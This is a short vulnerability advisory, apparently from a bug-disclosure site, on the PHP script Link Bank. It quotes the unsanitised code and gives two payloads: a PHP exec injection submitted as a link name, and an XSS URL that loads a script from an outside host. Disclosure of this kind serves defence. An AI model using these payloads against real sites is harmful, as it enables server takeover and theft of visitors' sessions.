link bank code execution and xss

Advisory Content :

??? summary
software: Link Bank
vendors website: http://daverave.64digits.com/index.php?page=linkbank
versions: n/a
class: remote
status: unpatched
exploit: available
solution: not available
discovered by: retard
risk level: high

??? description
Link Bank does not sanatise post sumbited to it allowing users to
insert data that can be used malisiously. after it is submited the
data goes to a .txt file witch the application reads and executes
to display the links submited. along with this it is vulnerable
to xss due to the application not sanatising the variable again.

in ./content/index.txt:
14 <?php
15 include("links.txt");
16 ?>

in ./content/add_link.txt:
2 $url_name = $_REQUEST['url_name'];
3 $url = $_REQUEST['url'];
4 $img = $_REQUEST['img'];
5 $filename = "content/links.txt";
6 $code = "<a href = iframe.php?site=$url target=_blank>$url_name</a><br>";

in ./iframe.php:
3 <title>Link Bank - <?php echo"$site";?></title>

??? exploit(s)
code execution:
submit something like <?php exec($cmd) ?> as a link name

xss:
http://example.com/iframe.php?site=%3C/title%3E%3C/head%3E%3Cscript%20sr
c=http://notlegal.ws/xss.js%3E%3C/script%3E

??? credit
author(s): retard
email: retard (at) 30gigs (dot) com [email concealed]

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

link bank code execution and xss